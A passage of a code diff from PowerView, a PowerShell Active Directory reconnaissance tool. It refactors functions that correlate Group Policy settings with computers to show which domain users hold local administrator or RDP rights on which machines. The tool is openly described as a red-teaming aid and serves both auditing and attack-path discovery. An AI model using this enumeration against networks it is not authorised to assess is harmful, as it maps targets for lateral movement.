$MembershipValue = $GroupMembers - } - - if(-not $Memberships[$Group]) { - $Memberships[$Group] = @{} - } - if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} - $Memberships[$Group].Add($Relation, $MembershipValue) - } - ForEach ($Membership in $Memberships.GetEnumerator()) { - if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { - # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name - $GroupSID = $Membership.Key.Trim('*') - if($GroupSID -and ($GroupSID.Trim() -ne '')) { - $GroupName = Convert-SidToName -SID $GroupSID - } - else { - $GroupName = $False + if (-not $Memberships[$Group]) { + $Memberships[$Group] = @{} } + if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} + $Memberships[$Group].Add($Relation, $MembershipValue) } - else { - $GroupName = $Membership.Key - if($GroupName -and ($GroupName.Trim() -ne '')) { - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - elseif($GroupName.Trim() -ne '') { - $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID + ForEach ($Membership in $Memberships.GetEnumerator()) { + if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { + # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name + $GroupSID = $Membership.Key.Trim('*') + if ($GroupSID -and ($GroupSID.Trim() -ne '')) { + $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments } else { - $GroupSID = $Null + $GroupName = $False } } + else { + $GroupName = $Membership.Key + + if ($GroupName -and ($GroupName.Trim() -ne '')) { + if ($Groupname -match 'Administrators') { + $GroupSID = 'S-1-5-32-544' + } + elseif ($Groupname -match 'Remote Desktop') { + $GroupSID = 'S-1-5-32-555' + } + elseif ($Groupname -match 'Guests') { + $GroupSID = 'S-1-5-32-546' + } + elseif ($GroupName.Trim() -ne '') { + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $GroupSID = ConvertTo-SID @ConvertToArguments + } + else { + $GroupSID = $Null + } + } + } + + $GPOGroup = New-Object PSObject + $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName + $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' + $GPOGroup | Add-Member Noteproperty 'Filters' $Null + $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName + $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID + $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof + $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members + $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $GPOGroup } + } - $GPOGroup = New-Object PSObject - $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName - $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName - $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath - $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' - $GPOGroup | Add-Member Noteproperty 'Filters' $Null - $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName - $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID - $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof - $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members - $GPOGroup + # now try to the parse group policy preferences file (Groups.xml) if it exists + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" } - } - $ParseArgs = @{ - 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" - 'UsePSDrive' = $UsePSDrive - } + Get-GroupsXML @ParseArgs | ForEach-Object { + if ($PSBoundParameters['ResolveMembersToSIDs']) { + $GroupMembers = @() + ForEach ($Member in $_.GroupMembers) { + if ($Member -and ($Member.Trim() -ne '')) { + if ($Member -notmatch '^S-1-.*') { + + # if the resulting member is username and not a SID, attempt to resolve it + $ConvertToArguments = @{'ObjectName' = $Groupname} + if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain } + $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member - Get-GroupsXML @ParseArgs | ForEach-Object { - if($ResolveMemberSIDs) { - $GroupMembers = @() - ForEach($Member in $_.GroupMembers) { - if($Member -and ($Member.Trim() -ne '')) { - if($Member -notmatch '^S-1-.*') { - # if the resulting member is username and not a SID, attempt to resolve it - $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID + if ($MemberSID) { + $GroupMembers += $MemberSID + } + else { + $GroupMembers += $Member + } } else { $GroupMembers += $Member } } - else { - $GroupMembers += $Member - } } + $_.GroupMembers = $GroupMembers } - $_.GroupMembers = $GroupMembers - } - $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName - $_ | Add-Member Noteproperty 'GPOName' $GPOName - $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' - $_ + $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName + $_ | Add-Member Noteproperty 'GPOName' $GPOName + $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' + $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup') + $_ + } } } } -function Find-GPOLocation { +function Get-DomainGPOUserLocalGroupMapping { <# - .SYNOPSIS - - Enumerates the machines where a specific user/group is a member of a specific - local group, all through GPO correlation. +.SYNOPSIS + +Enumerates the machines where a specific domain user/group is a member of a specific +local group, all through GPO correlation. If no user/group is specified, all +discoverable mappings are returned. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainGPOLocalGroup, Get-DomainObject, Get-DomainComputer, Get-DomainOU, Get-DomainSite, Get-DomainGroup + +.DESCRIPTION + +Takes a user/group name and optional domain, and determines the computers in the domain +the user/group has local admin (or RDP) rights to. + +It does this by: + 1. resolving the user/group to its proper SID + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling + Get-DomainGPOLocalGroup + 4. matching the target SID list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites + +If no user/group is specified, all user/group -> machine mappings discovered through +GPO relationships are returned. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the user/group to identity GPO local group mappings for. + +.PARAMETER LocalGroup - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite - Optional Dependencies: None +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. - .DESCRIPTION +.PARAMETER Domain - Takes a user/group name and optional domain, and determines the computers in the domain - the user/group has local admin (or RDP) rights to. +Specifies the domain to enumerate GPOs for, defaults to the current domain. - It does this by: - 1. resolving the user/group to its proper SID - 2. enumerating all groups the user/group is a current part of - and extracting all target SIDs to build a target SID list - 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling - Get-NetGPOGroup - 4. matching the target SID list to the queried GPO SID list - to enumerate all GPO the user is effectively applied with - 5. enumerating all OUs and sites and applicable GPO GUIs are - applied to through gplink enumerating - 6. querying for all computers under the given OUs or sites - - If no user/group is specified, all user/group -> machine mappings discovered through - GPO relationships are returned. +.PARAMETER Server - .PARAMETER UserName +Specifies an Active Directory server (domain controller) to bind to. - A (single) user name name to query for access. +.PARAMETER SearchScope - .PARAMETER GroupName +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - A (single) group name name to query for access. +.PARAMETER ResultPageSize - .PARAMETER Domain +Specifies the PageSize to set for the LDAP searcher object. - Optional domain the user exists in for querying, defaults to the current domain. +.PARAMETER ServerTimeLimit - .PARAMETER DomainController +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - Domain controller to reflect LDAP queries through. +.PARAMETER Tombstone - .PARAMETER LocalGroup +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - The local group to check access against. - Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), - or a custom local SID. Defaults to local 'Administrators'. +.PARAMETER Credential - .PARAMETER UsePSDrive +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - Switch. Mount any found policy files with temporary PSDrives. +.EXAMPLE - .PARAMETER PageSize +Find-GPOLocation - The PageSize to set for the LDAP searcher object. +Find all user/group -> machine relationships where the user/group is a member +of the local administrators group on target machines. - .EXAMPLE +.EXAMPLE - PS C:\> Find-GPOLocation +Find-GPOLocation -UserName dfm -Domain dev.testlab.local - Find all user/group -> machine relationships where the user/group is a member - of the local administrators group on target machines. +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. - .EXAMPLE +.EXAMPLE - PS C:\> Find-GPOLocation -UserName dfm - - Find all computers that dfm user has local administrator rights to in - the current domain. +Find-GPOLocation -UserName dfm -Domain dev.testlab.local - .EXAMPLE +Find all computers that dfm user has local administrator rights to in +the dev.testlab.local domain. - PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local - - Find all computers that dfm user has local administrator rights to in - the dev.testlab.local domain. +.EXAMPLE - .EXAMPLE +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOUserLocalGroupMapping -Credential $Cred - PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP - - Find all computers that jason has local RDP access rights to in the domain. +.OUTPUTS + +PowerView.GPOLocalGroupMapping + +A custom PSObject containing any target identity information and what local +group memberships they're a part of through GPO correlation. + +.LINK + +http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/ #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GPOUserLocalGroupMapping')] [CmdletBinding()] - Param ( + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] [String] - $UserName, + $Identity, [String] - $GroupName, + [ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')] + $LocalGroup = 'Administrators', + [ValidateNotNullOrEmpty()] [String] $Domain, + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] [String] - $DomainController, + $SearchBase, + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] [String] - $LocalGroup = 'Administrators', - - [Switch] - $UsePSDrive, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) - - if($UserName) { - # if a group name is specified, get that user object so we can extract the target SID - $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 - $UserSid = $User.objectsid - - if(-not $UserSid) { - Throw "User '$UserName' not found!" - } - - $TargetSIDs = @($UserSid) - $ObjectSamAccountName = $User.samaccountname - $TargetObject = $UserSid - } - elseif($GroupName) { - # if a group name is specified, get that group object so we can extract the target SID - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1 - $GroupSid = $Group.objectsid - - if(-not $GroupSid) { - Throw "Group '$GroupName' not found!" - } + $Server, - $TargetSIDs = @($GroupSid) - $ObjectSamAccountName = $Group.samaccountname - $TargetObject = $GroupSid - } - else { - $TargetSIDs = @('*') - } + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', - # figure out what the SID is of the target local group we're checking for membership in - if($LocalGroup -like "*Admin*") { - $TargetLocalSID = 'S-1-5-32-544' - } - elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $TargetLocalSID = 'S-1-5-32-555' - } - elseif ($LocalGroup -like "S-1-5-*") { - $TargetLocalSID = $LocalGroup - } - else { - throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." - } + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, - # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to - # get all effective security SIDs this object is a part of - if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) { - $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids - } + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, - if(-not $TargetSIDs) { - throw "No effective target SIDs!" - } + [Switch] + $Tombstone, - Write-Verbose "TargetLocalSID: $TargetLocalSID" - Write-Verbose "Effective target SIDs: $TargetSIDs" + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'ResolveMemberSIDs' = $True - 'PageSize' = $PageSize + BEGIN { + $CommonArguments = @{} + if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential } } - # enumerate all GPO group mappings for the target domain that involve our target SID set - $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - - $GPOgroup = $_ + PROCESS { + $TargetSIDs = @() - # if the locally set group is what we're looking for, check the GroupMembers ('members') - # for our target SID - if($GPOgroup.GroupSID -match $TargetLocalSID) { - $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { - if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { - $GPOgroup - } + if ($PSBoundParameters['Identity']) { + $TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid + $TargetObjectSID = $TargetSIDs + if (-not $TargetSIDs) { + Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'" } } - # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs - if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { - if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { - $GPOgroup - } + else { + # no filtering/match all + $TargetSIDs = @('*') } - } | Sort-Object -Property GPOName -Unique - - $GPOgroups | ForEach-Object { - $GPOname = $_.GPODisplayName - $GPOguid = $_.GPOName - $GPOPath = $_.GPOPath - $GPOType = $_.GPOType - if($_.GroupMembers) { - $GPOMembers = $_.GroupMembers + if ($LocalGroup -match 'S-1-5') { + $TargetLocalSID = $LocalGroup + } + elseif ($LocalGroup -match 'Admin') { + $TargetLocalSID = 'S-1-5-32-544' } else { - $GPOMembers = $_.GroupSID + # RDP + $TargetLocalSID = 'S-1-5-32-555' } - - $Filters = $_.Filters - if(-not $TargetObject) { - # if the * wildcard was used, set the ObjectDistName as the GPO member SID set - # so all relationship mappings are output - $TargetObjectSIDs = $GPOMembers - } - else { - $TargetObjectSIDs = $TargetObject + if ($TargetSIDs[0] -ne '*') { + ForEach ($TargetSid in $TargetSids) { + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'" + $TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid + } } - # find any OUs that have this GUID applied and then retrieve any computers from the OU - Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { - if($Filters) { - # filter for computer name/org unit if a filter is specified - # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP... - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { - $_.adspath -match ($Filters.Value) - } | ForEach-Object { $_.dnshostname } + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID" + Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs" + + $GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object { + $GPOgroup = $_ + # if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID + if ($GPOgroup.GroupSID -match $TargetLocalSID) { + $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { + $GPOgroup + } + } + } + # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs + if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { + if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { + $GPOgroup + } + } + } | Sort-Object -Property GPOName -Unique + + $GPOgroups | Where-Object {$_} | ForEach-Object { + $GPOname = $_.GPODisplayName + $GPOguid = $_.GPOName + $GPOPath = $_.GPOPath + $GPOType = $_.GPOType + if ($_.GroupMembers) { + $GPOMembers = $_.GroupMembers } else { - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize + $GPOMembers = $_.GroupSID } - if($OUComputers) { - if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + $Filters = $_.Filters - ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + if ($TargetSIDs[0] -eq '*') { + # if the * wildcard was used, set the targets to all GPO members so everything it output + $TargetObjectSIDs = $GPOMembers + } + else { + $TargetObjectSIDs = $TargetObjectSID + } - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + # find any OUs that have this GPO linked through gpLink + Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + if ($Filters) { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname + } + else { + $OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname + } - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $GPOLocation | Add-Member Noteproperty 'Domain' $Domain - $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid - $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath - $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers - $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') - $GPOLocation + if ($OUComputers) { + if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} + + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' + + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers + $GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } } } - } - # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { - - ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize + # find any sites that have this GPO linked through gpLink + Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object { + ForEach ($TargetSid in $TargetObjectSIDs) { + $Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid' - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype + $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - $AppliedSite = New-Object PSObject - $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup - $AppliedSite | Add-Member Noteproperty 'Domain' $Domain - $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname - $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid - $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath - $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType - $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl - $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') - $AppliedSite + $GPOLocalGroupMapping = New-Object PSObject + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid + $GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup + $GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath + $GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType + $GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl + $GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping') + $GPOLocalGroupMapping + } } } } } -function Find-GPOComputerAdmin { +function Get-DomainGPOComputerLocalGroupMapping { <# - .SYNOPSIS +.SYNOPSIS + +Takes a computer (or GPO) object and determines what users/groups are in the specified +local group for the machine through GPO correlation. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup + +.DESCRIPTION + +This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups +are in the specified local group for a target machine through GPO correlation. - Takes a computer (or GPO) object and determines what users/groups are in the specified - local group for the machine. +If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to +determine the OU the computer is a part of. Then resolve the computer's site name with +Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to +enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For +each resulting GPO group, resolve the resulting user/group name to a full AD object and +return the results. This will return the domain objects that are members of the specified +-LocalGroup for the given computer. - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName - Optional Dependencies: None +Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and +localgroup specifications. - .DESCRIPTION - - If a -ComputerName is specified, retrieve the complete computer object, attempt to - determine the OU the computer is a part of. Then resolve the computer's site name with - Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to - enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For - each resulting GPO group, resolve the resulting user/group name to a full AD object and - return the results. This will return the domain objects that are members of the specified - -LocalGroup for the given computer. +.PARAMETER ComputerIdentity - Inverse of Find-GPOLocation. +A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for. - .PARAMETER ComputerName +.PARAMETER OUIdentity - The computer to determine local administrative access to. +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for. - .PARAMETER OUName +.PARAMETER LocalGroup - OU name to determine who has local adminisrtative acess to computers - within it. +The local group to check access against. +Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), +or a custom local SID. Defaults to local 'Administrators'. - .PARAMETER Domain +.PARAMETER Domain - Optional domain the computer/OU exists in, defaults to the current domain. +Specifies the domain to enumerate GPOs for, defaults to the current domain. - .PARAMETER DomainController +.PARAMETER Server - Domain controller to reflect LDAP queries through. +Specifies an Active Directory server (domain controller) to bind to. - .PARAMETER Recurse +.PARAMETER SearchScope - Switch. If a returned member is a group, recurse and get all members. +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). - .PARAMETER LocalGroup +.PARAMETER ResultPageSize - The local group to check access against. - Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), - or a custom local SID. - Defaults to local 'Administrators'. +Specifies the PageSize to set for the LDAP searcher object. - .PARAMETER UsePSDrive +.PARAMETER ServerTimeLimit - Switch. Mount any found policy files with temporary PSDrives. +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. - .PARAMETER PageSize +.PARAMETER Tombstone - The PageSize to set for the LDAP searcher object. +Switch. Specifies that the searcher should also return deleted/tombstoned objects. - .EXAMPLE +.PARAMETER Credential - PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local - - Finds users who have local admin rights over WINDOWS3 through GPO correlation. +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. - .EXAMPLE +.EXAMPLE - PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP - - Finds users who have RDP rights over WINDOWS3 through GPO correlation. +Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local + +Finds users who have local admin rights over WINDOWS3 through GPO correlation. + +.EXAMPLE + +Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP + +Finds users who have RDP rights over WINDOWS4 through GPO correlation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local + +.OUTPUTS + +PowerView.GGPOComputerLocalGroupMember #> - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.GGPOComputerLocalGroupMember')] + [CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')] + Param( + [Parameter(Position = 0, 